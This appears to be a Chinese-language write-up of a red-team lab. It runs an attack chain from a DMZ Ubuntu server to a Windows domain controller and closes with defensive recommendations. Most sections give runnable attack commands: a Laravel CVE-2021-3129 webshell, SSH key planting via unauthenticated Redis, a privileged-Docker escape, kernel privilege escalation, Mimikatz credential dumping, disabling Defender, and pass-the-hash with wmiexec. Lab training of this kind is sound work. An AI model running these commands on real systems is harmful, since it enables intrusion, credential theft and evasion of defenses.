1. 靶场环境搭建与拓扑解析
这个靶场模拟了典型企业网络的三层架构:DMZ区、二层内网和三层内网。DMZ区部署了对外提供服务的Ubuntu Web服务器(192.168.36.128),开放了80/81端口的Nginx服务和6379端口的Redis服务。二层内网包含Ubuntu Web2(192.168.52.20)和Windows 7 PC1(192.168.52.30),三层内网则是域环境下的Windows Server 2012和Windows 7 PC2(192.168.93.0/24网段)。
网络隔离策略非常关键:二层和三层内网无法直接出网,DMZ区也只能单向访问二层网络。这种设计逼真还原了企业网络中常见的"洋葱式"防御结构,攻击者必须逐层突破。我在实际测试中发现,靶机默认账号密码如ubuntu:ubuntu、admin:admin657260等,都是红队演练中常见的弱口令设置,这也反映了现实中企业账号管理的典型弱点。
2. 外网打点突破实战
2.1 Laravel Debug模式RCE漏洞利用
扫描发现81端口运行着Laravel 8.29.0(PHP 7.4.14),存在CVE-2021-3129漏洞。这个漏洞的成因是Ignition组件对file_get_contents()的不安全使用,导致攻击者可以通过Phar反序列化执行任意代码。我使用GitHub上的EXP工具直接getshell:
git clone https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP python3 exp.py -u http://192.168.36.128:81 -c "echo '<?php eval($_POST[pass]);?>' > /var/www/html/fuckyou.php"生成的Webshell用哥斯拉v2.92连接时要注意选择正确的加密器。实测发现PHP_EVAL_XOR_RAW加密方式最稳定,而AES等加密方式可能因环境配置问题导致连接失败。
2.2 Redis未授权访问漏洞利用
Redis的6379端口存在未授权访问,这是我在云服务器渗透中遇到的高频漏洞。攻击者可以通过Redis的config命令写入SSH公钥:
ssh-keygen -t rsa (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt cat 1.txt | redis-cli -h 192.168.36.128 -x set crack redis-cli -h 192.168.36.128 config set dir /root/.ssh redis-cli -h 192.168.36.128 config set dbfilename authorized_keys redis-cli -h 192.168.36.128 save这个过程中有个坑点:如果目标机器没有.ssh目录,需要先通过Webshell创建目录。我在实战中就遇到过因目录不存在导致密钥写入失败的情况。
3. 内网横向移动技术详解
3.1 Docker逃逸与特权容器利用
在获取Ubuntu Web2控制权后,通过检查/.dockerenv文件和/proc/1/cgroup确认处于Docker环境。发现容器以特权模式运行,这是非常危险的配置:
fdisk -l # 查看宿主机磁盘 mkdir /host mount /dev/sda1 /host # 挂载宿主机根目录通过覆盖/host/home/ubuntu/.ssh/authorized_keys文件,成功实现容器逃逸。这里有个技巧:如果ssh服务限制了root登录,可以修改/etc/ssh/sshd_config中的PermitRootLogin参数。
3.2 Linux内核提权(CVE-2021-3493)
在Ubuntu 18.04上发现内核版本受CVE-2021-3493影响,这是overlayfs文件系统的提权漏洞。使用公开的EXP编译执行:
// exploit.c 关键代码 int main() { char *args[] = {"/bin/bash", "-p", NULL}; execve("/bin/bash", args, NULL); }编译时要注意加上-static选项确保兼容性:gcc exploit.c -o exploit -static。我在测试中发现,某些环境下需要先执行unshare -Urmfp才能触发漏洞。
3.3 Windows域渗透实战
通过通达OA的漏洞获取Windows 7 PC1控制权后,使用kiwi模块抓取凭证:
load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonpasswords抓取到的NTLM哈希可以通过psexec进行哈希传递攻击。这里要注意Windows Defender可能会拦截,需要先执行:
Set-MpPreference -DisableRealtimeMonitoring $true对于域控(192.168.93.30),使用wmiexec.py进行横向移动:
python3 wmiexec.py -hashes :579da618cfbfa85247acf1f800a280a4 administrator@192.168.93.304. 攻击链防御建议
针对这个攻击链中的关键技术节点,企业可以采取以下防御措施:
Web应用防护:
- Laravel等框架及时更新补丁
- Redis配置bind 127.0.0.1和requirepass
- Web目录禁用PHP执行权限
内网安全加固:
- Docker避免使用--privileged参数
- 定期更新Linux内核补丁
- 域账户启用LAPS(本地管理员密码解决方案)
检测与响应:
- 部署EDR监控异常进程行为
- 配置SIEM规则检测PsExec、WMIExec等横向移动手段
- 启用Windows事件日志审核(如4688、4624等事件)
这个靶场完整复现了从外网突破到内网横向的完整攻击链,其中涉及的Docker逃逸、Linux提权、Windows域渗透等技术都是当前红队演练中的高频技术。建议安全团队定期进行类似的攻防演练,持续优化防御体系。